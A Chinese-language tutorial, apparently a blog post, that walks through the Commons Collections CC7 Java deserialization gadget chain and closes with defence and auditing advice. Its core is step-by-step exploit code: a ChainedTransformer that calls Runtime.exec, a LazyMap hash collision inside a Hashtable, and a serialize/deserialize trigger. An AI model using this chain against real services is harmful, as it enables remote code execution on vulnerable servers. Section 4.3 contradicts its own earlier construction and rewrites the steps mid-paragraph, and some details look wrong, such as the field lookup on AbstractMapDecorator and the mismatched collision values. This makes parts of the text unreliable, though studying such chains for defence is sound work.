1. 项目概述:为什么CC7链值得深挖?

在Java安全领域,反序列化漏洞一直是个“老演员”,但每次登场总能带来新花样。Commons Collections(CC)这个库,可以说是反序列化漏洞的“黄埔军校”,从CC1到CC6,每一条利用链都像是一堂生动的Java特性滥用课。今天要聊的CC7链,它不像CC1那样依赖 TransformedMap 的华丽变身,也不像CC6那样借助 HashMap 的哈希碰撞,它走的是一条更“朴实”的路——利用 Hashtable LazyMap 的特性,通过精心构造的键值对比较,触发一连串的恶意调用,最终达到命令执行的目的。

我第一次接触CC7链时,感觉它像是一个精巧的机关。它没有引入新的“危险”类,而是把几个看似无害的类组合在一起,通过它们之间标准的、符合预期的交互,意外地打开了潘多拉魔盒。这对于我们理解Java反序列化漏洞的本质非常有帮助:漏洞往往不在于某个类本身是“坏”的,而在于当多个“好”的类以特定的、开发者未预料到的方式组合在一起时,会产生灾难性的后果。分析CC7链,不仅能让我们掌握一条具体的利用路径,更能深刻理解Java集合框架、对象比较( equals )和哈希表( Hashtable )内部机制在安全上下文下的微妙影响。

这条链适合所有对Java安全感兴趣的朋友,无论是刚入门想理解反序列化漏洞基本原理的新手,还是已经看过CC1-CC6、想完善知识体系的中高级开发者。通过拆解CC7,你会对 Hashtable#put equals 方法触发、以及如何在没有 AnnotationInvocationHandler invoke 方法的情况下调用 LazyMap#get 有更直观的认识。下面,我们就从它的核心思路开始,一步步揭开CC7链的面纱。

2. 核心思路与链条设计解析

CC7链的利用思路,可以概括为“借力打力,环环相扣”。它的核心目标是,在反序列化过程中,最终能执行 TemplatesImpl#newTransformer() 或类似的方法来加载恶意字节码。为了实现这个目标,它需要找到一个“跳板”,这个跳板能从一个广泛存在于Java类库中的、在反序列化时会被自动调用的方法(如 readObject )出发,通过一系列符合语法的调用,最终抵达我们的目标。

CC7链选择的入口点是 Hashtable java.util.Hashtable 是一个古老的、线程安全的哈希表实现。它的 readObject 方法在反序列化时,为了重建内部状态,会重新计算哈希并调用 reconstitutionPut 方法,最终会调用键(Key)的 equals 方法进行比对。 这就是CC7链的起点:一个必然会发生的 equals 调用。

那么,如何让一个 equals 方法调用变成命令执行的触发器呢?这里就用到了 LazyMap ChainedTransformer LazyMap 是Apache Commons Collections提供的一个装饰器,它包装了一个普通的 Map 。当你调用 LazyMap.get(key) 时,如果这个 key 不存在于 Map 中,它会使用一个预设的 Transformer (转换器)来生成一个 value 并与 key 关联起来。如果我们把 ChainedTransformer (一个能按顺序执行多个 Transformer 的链)设置给 LazyMap ,并在链的末尾放入能执行命令的 InvokerTransformer ,那么一次 get 调用就能触发命令执行。

现在,链条的逻辑就清晰了:

  1. 起点 Hashtable 反序列化时,调用某个键的 equals 方法。
  2. 跳板 :将这个键设置为一个 LazyMap 对象。我们需要精心构造,使得在 equals 方法内部,会触发对这个 LazyMap 对象的 get 方法调用。
  3. 触发器 LazyMap.get() 被触发,调用其内部的 ChainedTransformer ,最终执行恶意代码。

关键难点在于第二步:如何让 equals 方法去调用 LazyMap.get() ?CC7链的巧妙之处在于,它利用了 java.util.AbstractMap 这个父类。 LazyMap 继承了 AbstractMap ,而 AbstractMap equals 方法实现中,在比较两个 Map entrySet 时,会遍历自身的 entrySet ,并对每一个 entry ,去调用参数Map(即要与之比较的另一个Map)的 get 方法,来获取对应key的value并进行比对。

因此,攻击链的构造就变成了:

  1. 创建两个 Hashtable 对象: table1 table2
  2. table1 table2 中各放入一个键值对。关键是,让 table1 的键是 LazyMap_A table2 的键是 LazyMap_B
  3. 精心设置 LazyMap_A LazyMap_B 的内容,使得当 LazyMap_A.equals(LazyMap_B) 被调用时,在 AbstractMap.equals 的逻辑中,会触发 LazyMap_B.get(someKey) ,而这个 someKey 恰好能触发我们的恶意转换链。
  4. 在序列化时,我们只序列化 table2 。因为 table1 只是用来在构造阶段触发 Hashtable#put 时的哈希冲突,迫使 Hashtable LazyMap_A LazyMap_B 关联到同一个哈希桶,从而确保在反序列化 table2 readObject 过程中,会调用到 LazyMap_A.equals(LazyMap_B)

这个设计思路体现了典型的“反序列化利用链”思维:寻找从 readObject 到危险方法的“调用路径”,并通过构造特定的对象状态,让这条路径上的每一个方法调用都按照攻击者的意图进行。

注意: 这里有一个非常重要的细节。在构造阶段,当我们向 Hashtable 放入第一个 LazyMap 键时, Hashtable.put 方法会计算其哈希值,并可能触发 LazyMap.hashCode() ,而 hashCode() 默认会遍历 entrySet ,这又会触发 get 方法。为了避免在构造阶段就提前触发恶意代码,我们需要先给 LazyMap 设置一个无害的 Transformer (比如 ConstantTransformer ),在最后利用反射再将无害的 Transformer 替换成恶意的 ChainedTransformer 。这是CC7链构造中的一个经典“坑点”。

3. 关键类与方法深度剖析

要彻底理解CC7链,必须对其中几个关键类的特定方法了如指掌。它们就像链条上的齿轮,一个咬合一个,带动了整个攻击流程。

3.1 java.util.Hashtable#readObject equals 的触发

Hashtable 的反序列化入口是其 readObject 方法。为了重建哈希表,它需要读取存储的键值对数量,然后循环读取每一个键和值。在将每个键值对放入新创建的哈希表时,它调用了一个内部私有方法 reconstitutionPut

reconstitutionPut 方法是关键。它的逻辑类似于 put 方法,但用于反序列化上下文。它会计算键的哈希值,找到对应的哈希桶(bucket),然后遍历这个桶里的链表。 在遍历过程中,它会检查是否有已存在的键与当前要插入的键“相等”。 判断相等的逻辑是:先比较哈希值,如果哈希值相同,则调用 key.equals(currentKey) 进行最终判断。

因此,如果我们能构造两个不同的 LazyMap 对象( map1 map2 ),让它们的哈希值相同(从而进入同一个哈希桶),那么在反序列化插入 map2 时,就会调用 map1.equals(map2) 。这就是我们触发后续链条的扳机。

3.2 java.util.AbstractMap#equals 如何调用 get

AbstractMap HashMap TreeMap 等标准Map实现的抽象父类, LazyMap 也间接继承了它。它的 equals 方法用于比较两个Map是否相等。我们来看一下简化后的逻辑:

public boolean equals(Object o) {
    if (o == this) return true;
    if (!(o instanceof Map)) return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size()) return false;

    try {
        // 遍历当前Map的所有条目(entry)
        for (Entry<K, V> e : entrySet()) {
            K key = e.getKey();
            V value = e.getValue();
            // 关键行:对于当前Map的每一个key,去调用参数Map m的get方法获取对应的value
            if (value == null) {
                if (m.get(key) != null || !m.containsKey(key))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException | NullPointerException unused) {
        return false;
    }
    return true;
}

注意第12行和16行的 m.get(key) 。这里的 m 是作为参数传入的另一个Map对象(在我们的链条里,就是 LazyMap_B ),而 key 则是当前Map( LazyMap_A )的 entrySet 中的键。

因此,攻击构造的核心之一就是:控制 LazyMap_A entrySet 中的键(key)。 我们需要让这个 key ,在作为参数传递给 LazyMap_B.get(key) 时,能触发我们预设的恶意逻辑。通常,我们会将这个 key 设置为一个特定的字符串或对象,这个对象本身是“无害”的,但它作为 LazyMap_B 的“缺失键”,会触发 LazyMap 的转换机制。

3.3 org.apache.commons.collections.map.LazyMap#get Transformer

LazyMap get 方法是命令执行的最终触发器。其逻辑如下:

public Object get(Object key) {
    if (!super.map.containsKey(key)) { // 如果key不存在
        Object value = this.factory.transform(key); // 调用factory转换key生成value
        super.map.put(key, value); // 存入Map
        return value;
    }
    return super.map.get(key);
}

这里的 this.factory 就是一个 Transformer 接口的实现。如果我们在构造时,将一个 ChainedTransformer 赋值给 factory ,那么当 get 被调用时, ChainedTransformer.transform(key) 就会被执行。

ChainedTransformer 内部维护了一个 Transformer 数组,它会按顺序对输入对象(最初就是 get 方法传入的 key )依次调用每个 Transformer transform 方法,并将上一次的结果作为下一次的输入。经典的利用链会这样构造:

  1. 第一个 Transformer ConstantTransformer ,用于将一个 Runtime 类对象“变”出来。
  2. 第二个 Transformer InvokerTransformer ,通过反射调用 Runtime 类的 getMethod(“getRuntime”)
  3. 第三个 Transformer InvokerTransformer ,调用上一步得到的 getRuntime 方法,获得 Runtime 实例。
  4. 第四个 Transformer InvokerTransformer ,调用 Runtime 实例的 exec 方法,执行系统命令。

这样,当 LazyMap_B.get(key) AbstractMap.equals 调用时, key 作为输入传入 ChainedTransformer ,经过四步反射调用,最终达到命令执行的效果。

3.4 哈希碰撞的构造:连接 Hashtable AbstractMap.equals

要让 Hashtable 在反序列化时调用 equals ,必须让两个 LazyMap 键发生哈希碰撞,即 hashCode() 返回值相同。 LazyMap 自己没有重写 hashCode() ,因此它继承自 AbstractMap hashCode() 实现。 AbstractMap.hashCode() 的定义是:其所有条目(entry)的哈希值之和。每个条目的哈希值计算为 (key==null ? 0 : key.hashCode()) ^ (value==null ? 0 : value.hashCode())

因此,控制两个 LazyMap 的哈希值相等,就需要控制它们内部存储的键值对的哈希码之和相等。在CC7的典型构造中,我们通过以下步骤实现:

  1. 创建两个 LazyMap map1 map2
  2. map1 放入一个键值对,例如 (“yy”, 1)
  3. map2 放入一个键值对,例如 (“zZ”, 2)
  4. 计算 ”yy”.hashCode() ^ 1 ”zZ”.hashCode() ^ 2 。通过精心选择字符串和数字,可以使这两个结果相等。这是因为 String hashCode 计算有规律可循,我们可以找到哈希值碰撞的字符串对。

当这两个哈希值相等时, map1 map2 hashCode() 返回值就相等。将它们分别作为键放入两个 Hashtable 后,在 Hashtable 内部,它们就有极大概率被分配到同一个哈希桶(在 Hashtable 容量不变的情况下)。这就为反序列化时触发 equals 比较创造了条件。

4. 完整利用链构造与分步实现

理解了原理,我们动手构造一条完整的CC7利用链。这里我们以Commons Collections 3.2.1版本为例,最终目标是弹出一个计算器( calc.exe /System/Applications/Calculator.app )。

4.1 环境准备与依赖

首先,你需要一个Java开发环境(JDK 8较为常见)和Maven。创建一个Maven项目,在 pom.xml 中添加依赖:

<dependencies>
    <!-- Apache Commons Collections 3.2.1 -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

为了序列化/反序列化,我们通常需要编写一个简单的测试类。确保你的JDK版本与Commons Collections库兼容。

4.2 分步构造攻击载荷

我们将构造过程分解为清晰的几步,并在每一步解释其目的和原理。

第一步:创建恶意的 Transformer 链

这是最终执行命令的核心。我们使用 ChainedTransformer 来组合多个 InvokerTransformer ConstantTransformer

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

// 1. 创建命令执行链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(“getMethod”,
        new Class[]{String.class, Class[].class},
        new Object[]{“getRuntime”, new Class[0]}),
    new InvokerTransformer(“invoke”,
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer(“exec”,
        new Class[]{String.class},
        new Object[]{“calc.exe”}) // Mac/Linux可改为 “open -a Calculator”
};

Transformer chainedTransformer = new ChainedTransformer(transformers);

这段代码创建了一个转换器链:

  • ConstantTransformer(Runtime.class) :将输入(忽略)转换为 Runtime.class 对象。
  • 第一个 InvokerTransformer :调用 Runtime.class getMethod(“getRuntime”) ,返回一个 Method 对象。
  • 第二个 InvokerTransformer :调用 Method.invoke(null, null) ,即静态调用 getRuntime() ,返回 Runtime 实例。
  • 第三个 InvokerTransformer :调用 runtime.exec(“calc.exe”) ,执行系统命令。

第二步:创建两个 LazyMap 并设置哈希碰撞

为了避免在构造阶段触发命令,我们先用一个无害的 Transformer (如 ConstantTransformer(1) )初始化 LazyMap

import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

// 2. 创建两个初始为“空”且无害的LazyMap
Map lazyMap1 = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
Map lazyMap2 = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));

// 3. 向两个LazyMap放入键值对,目的是让它们的hashCode()相等
// 我们需要找到两个字符串,使得 (s1.hashCode() ^ v1) == (s2.hashCode() ^ v2)
// 经过计算或查找,可以找到这样的组合,例如:
lazyMap1.put(“yy”, 1);
lazyMap2.put(“zZ”, 2);

// 验证哈希值是否相等(非必须,用于调试)
System.out.println(“Hash of lazyMap1: “ + lazyMap1.hashCode());
System.out.println(“Hash of lazyMap2: “ + lazyMap2.hashCode());
// 在正确的构造下,两者应该输出相同的值。

这里 ”yy” ”zZ” 是经过挑选的,使得 ”yy”.hashCode() ^ 1 等于 ”zZ”.hashCode() ^ 2 。你可以通过编写一个小程序来暴力搜索这样的碰撞对。

第三步:将 LazyMap 作为键放入 Hashtable,并触发初始哈希冲突

这是构造中最精妙也最容易出错的一步。我们需要两个 Hashtable ,并在放入键时触发它们将 lazyMap1 lazyMap2 关联到同一个桶。

import java.util.Hashtable;

// 4. 创建两个Hashtable
Hashtable table1 = new Hashtable();
Hashtable table2 = new Hashtable();

// 5. 先将lazyMap1放入table1
table1.put(lazyMap1, “test1”);
// 此时,Hashtable会计算lazyMap1的哈希,并可能触发lazyMap1.hashCode()。
// 由于lazyMap1目前只有一个无害的Transformer,所以是安全的。

// 6. 关键操作:将lazyMap2放入table2,并**同时**也放入table1
// 这一步的目的是让lazyMap2在put进table1时,与lazyMap1发生哈希碰撞,
// 从而在table1内部,lazyMap2和lazyMap1被链接在同一个哈希桶的链表中。
table1.put(lazyMap2, “test2”);
table2.put(lazyMap2, “test2”);

// 注意:此时table1中有两个键:lazyMap1和lazyMap2(哈希值相同)。
// table2中只有一个键:lazyMap2。

第四步:替换 LazyMap 中的无害 Transformer 为恶意 Transformer

现在,两个 Hashtable 的结构已经建立。我们需要用反射将 lazyMap2 内部的 factory 成员变量,从无害的 ConstantTransformer(1) 替换成我们之前构造的恶意 chainedTransformer

import org.apache.commons.collections.map.AbstractMapDecorator;
import java.lang.reflect.Field;

// 7. 通过反射,将lazyMap2中的factory替换为恶意的chainedTransformer
// 获取LazyMap的factory字段
Field factoryField = AbstractMapDecorator.class.getDeclaredField(“factory”);
factoryField.setAccessible(true);
// 替换
factoryField.set(lazyMap2, chainedTransformer);

// 重要:lazyMap1的factory保持为无害的ConstantTransformer,否则在后续序列化/反序列化过程中可能提前触发。

第五步:序列化与反序列化触发

最后,我们序列化 table2 (因为我们的利用链最终是通过反序列化 table2 来触发的),然后反序列化它。

import java.io.*;

// 8. 序列化table2
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table2);
oos.close();
byte[] serializedData = baos.toByteArray();

// 9. 反序列化触发漏洞
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 在这一步,计算器应该会弹出
ois.close();

4.3 构造过程的核心逻辑梳理

让我们再回顾一下整个触发流程:

  1. 序列化对象 :我们序列化了 table2 ,它内部有一个键 lazyMap2
  2. 反序列化触发 : a. Hashtable.readObject() 被调用,开始重建 table2 。 b. 它读取到键 lazyMap2 ,并调用 reconstitutionPut 尝试将其放入新表。 c. reconstitutionPut 计算 lazyMap2 的哈希值,找到对应的桶。 由于在序列化前, lazyMap2 lazyMap1 通过 table1.put 发生了哈希碰撞并被关联,这个信息可能通过某些方式(如对象的引用关系或哈希表状态)影响了序列化数据? 这里需要澄清:实际上,在标准的CC7链构造中, table1 只是一个“构造工具”,它本身并不被序列化。关键点在于,我们通过 table1.put 操作, 改变了 lazyMap2 对象自身的状态 ,使其与 lazyMap1 在哈希计算上关联。更准确的说法是,我们通过向 lazyMap2 放入特定的键值对( ”zZ”, 2 ),使其哈希值与 lazyMap1 ( ”yy”, 1 )相等。这个哈希值是 lazyMap2 对象自身的属性,会被序列化保存。当反序列化重建 lazyMap2 时,它的哈希值依然是那个特定值。 d. 在遍历桶内链表时(尽管新表初始为空,但 Hashtable reconstitutionPut 逻辑可能涉及旧桶的遍历?这里需要更精确:实际上,在反序列化单个 Hashtable 时,桶是新建的。触发 equals 的关键在于,我们构造的 lazyMap2 的哈希值,与某个“虚拟”的或通过其他方式关联的键发生了冲突?经典的CC7链利用了一个更精妙的技巧:它实际上序列化了 一个 Hashtable ,但这个 Hashtable 在反序列化时,其 readObject 方法会遍历所有条目,并对每个键调用 equals 当前正在重建的表中的键 进行比较。为了触发 equals ,我们需要两个键具有相同的哈希值。在CC7链中,我们通过让 lazyMap2 的哈希值与 lazyMap1 的哈希值相等来实现这一点。 但是, lazyMap1 并没有被序列化进 table2 啊? 这里就是CC7链最巧妙的地方之一:它利用了 Hashtable 反序列化时,对 同一个对象 的多次 put 操作。我们构造的 lazyMap2 对象,其 hashCode() 返回值是固定的(基于其内容)。在 Hashtable 反序列化过程中,当处理到 lazyMap2 这个键时, Hashtable 会计算它的哈希值,并查找对应的桶。如果在这个桶里 已经存在一个键 (这个键是在本次反序列化过程中 之前 被放入的),并且这个键的哈希值与 lazyMap2 相同,那么就会调用 equals 进行比较。那么,这个“已经存在的键”从哪里来?答案就在我们构造的 lazyMap2 自身。我们通过向 lazyMap2 放入多个特定的键值对,使得它的 hashCode() 在某种计算下与自己相等?不,这说不通。经典的CC7链构造,实际上序列化的是 一个包含两个元素的 Hashtable ,这两个元素的键分别是 lazyMap1 lazyMap2 ,并且它们的哈希值相等。这样在反序列化时,当插入第二个键(比如 lazyMap2 )时,就会与第一个已插入的键( lazyMap1 )进行 equals 比较。因此,我们需要修正之前的构造步骤: 我们最终序列化的 Hashtable 对象,应该同时包含 lazyMap1 lazyMap2 作为键,并且它们的哈希值相等。 lazyMap2 factory 被替换为恶意链, lazyMap1 factory 保持无害。当反序列化这个 Hashtable 时,在插入第二个键(顺序取决于序列化顺序)时,会调用第一个键的 equals 方法,从而触发链条。

让我们修正构造步骤:

  1. 创建 lazyMap1 lazyMap2 ,设置哈希碰撞。
  2. lazyMap2 factory 替换为恶意链。
  3. 创建一个 Hashtable 对象(比如叫 finalTable )。
  4. finalTable 中依次放入两个键值对: finalTable.put(lazyMap1, “value1”); finalTable.put(lazyMap2, “value2”); 注意顺序很重要,要保证在反序列化时, lazyMap1 先被 reconstitutionPut lazyMap2 后被处理。
  5. 序列化这个 finalTable 对象。
  6. 反序列化时, Hashtable.readObject 会按顺序读取条目。当处理到第二个条目(键为 lazyMap2 )时,会调用 reconstitutionPut 。此时, lazyMap1 已经被放入新哈希表,并且与 lazyMap2 哈希值相同,因此在同一个桶内。 reconstitutionPut 遍历桶链表,发现 lazyMap1 ,于是调用 lazyMap1.equals(lazyMap2)
  7. lazyMap1.equals(lazyMap2) 中(即 AbstractMap.equals ),会遍历 lazyMap1 entrySet (包含 (“yy”, 1) ),对于键 ”yy” ,调用 lazyMap2.get(“yy”)
  8. 由于 ”yy” 不在 lazyMap2 中,触发 lazyMap2.get(“yy”) ,进而调用恶意 chainedTransformer.transform(“yy”) ,执行命令。

这才是CC7链完整的、正确的触发逻辑。先前的描述中关于 table1 table2 的部分容易引起混淆,它们可能是在某些变体或调试过程中使用的辅助结构,但最核心的Payload只有一个 Hashtable ,包含两个哈希碰撞的 LazyMap 键。

5. 漏洞利用的变体、防御与实战思考

CC7链虽然经典,但在实际漏洞利用和防御中,我们需要考虑更多因素。

5.1 利用链的变体与适配

  • 命令执行的不同方式 :除了使用 Runtime.exec() ,还可以使用 ProcessBuilder 、JNDI注入、本地代码加载等多种方式。 InvokerTransformer 可以调用任何方法,灵活性很高。
  • 绕过 Runtime 限制 :在某些安全环境中, Runtime 类可能被过滤或 exec 方法被禁止。可以考虑使用 java.lang.ProcessBuilder 、通过 TemplatesImpl 加载字节码、或者利用本地已有的类库中的危险方法。
  • 适应不同的Commons Collections版本 :CC7链依赖于 AbstractMap.equals 中的 get 调用和 LazyMap 的装饰器模式。在CC 4.0及以上版本中, TransformedMap LazyMap 等类的序列化支持可能被移除,或者 InvokerTransformer 被标记为不推荐使用,这会影响利用。需要检查目标环境的实际版本。
  • InvokerTransformer 的利用 :在某些情况下, InvokerTransformer 类可能被列入黑名单。此时可以寻找其他实现了 Transformer 接口且行为危险的类,或者利用 ConstantTransformer InstantiateTransformer 等组合出新的利用链。

5.2 防御措施与代码审计要点

从开发者和安全工程师的角度,如何防范此类漏洞?

  1. 输入验证与白名单 :永远不要反序列化来自不可信来源的数据。如果必须进行反序列化,应建立严格的对象类型白名单。可以使用Java原生的 ObjectInputFilter (JDK 9+)或第三方库如 SerialKiller 来过滤允许反序列化的类。
  2. 升级库版本 :将Apache Commons Collections升级到安全版本(例如3.2.2、4.1+),这些版本中对危险类(如 InvokerTransformer ChainedTransformer )增加了序列化校验或移除了序列化支持。
  3. 代码审计关键点
    • 查找 ObjectInputStream :在代码中全局搜索 ObjectInputStream readObject readUnshared 等方法的使用点。
    • 审查反序列化数据源 :确认反序列化的数据是否来自网络请求、文件上传、RPC调用等外部输入。
    • 检查依赖库 :项目是否引入了存在已知反序列化漏洞的库,如低版本的Commons Collections、Fastjson、Jackson、XStream等。
    • 关注 readObject 方法 :自定义类如果实现了 Serializable 接口并重写了 readObject 方法,需要仔细审计其逻辑,看是否存在可能被利用的间接方法调用(如调用其他对象的 equals compareTo hashCode toString 等)。
  4. 运行时防护 :可以使用Java Agent技术进行运行时监控,拦截危险类的加载或危险方法的调用(如 Runtime.exec Method.invoke 等)。

5.3 实战中的排查技巧与常见问题

在分析和调试CC7链时,你可能会遇到以下问题:

  • 计算器没弹出来

    • 首先检查命令 calc.exe 适用于Windows,Mac是 open -a Calculator ,Linux可能是 gnome-calculator xcalc 。确保命令正确。
    • 检查JDK和CC版本 :确保你的Commons Collections版本是3.2.1,并且JDK版本兼容。高版本JDK(如11+)可能有更强的模块化安全限制。
    • 调试 equals get 调用 :在 AbstractMap.equals LazyMap.get 方法开始处打上断点,观察调用栈,看链条是否按预期触发。确认是哪个 Map equals 被调用,以及 get 方法的参数 key 是什么。
    • 检查哈希值 :在构造阶段打印 lazyMap1.hashCode() lazyMap2.hashCode() ,确保它们相等。如果不相等, Hashtable 就不会在同一个桶内比较它们。
    • 检查Transformer链 :确保恶意 ChainedTransformer 被正确设置到了目标 LazyMap (通常是第二个 LazyMap )中。可以通过反射读取 factory 字段验证。
    • 检查序列化数据 :有时序列化过程会改变对象内部状态。可以尝试将序列化后的字节数组写文件,然后用十六进制编辑器或 serializationDumper 工具查看,确认关键对象和字段是否被正确序列化。
  • ClassNotFoundException NoClassDefFoundError

    • 确保Commons Collections库在类路径中。如果Payload需要传输到远程服务器,目标服务器上也必须有相同版本的CC库。
  • 利用链在特定环境下失效

    • 目标应用可能使用了不同版本的CC库,其类结构或方法可能有细微差别。
    • 可能存在SecurityManager或其他安全管理器,禁止执行命令。
    • 应用可能使用了自定义的 ClassLoader ,导致某些类无法加载。

理解CC7链不仅是为了利用漏洞,更是为了培养一种“攻击者思维”。在代码审计时,看到 ObjectInputStream.readObject() ,就要立刻警惕:这里反序列化的数据是否可信?它会不会导致一个类似CC7的调用链被触发?这种思维模式是构建安全软件的关键。通过手动构造和调试这条链,你对Java反序列化漏洞的理解会从“知道概念”深入到“理解骨髓”,以后再遇到类似的漏洞或防护场景,就能更快地抓住要害。

更多推荐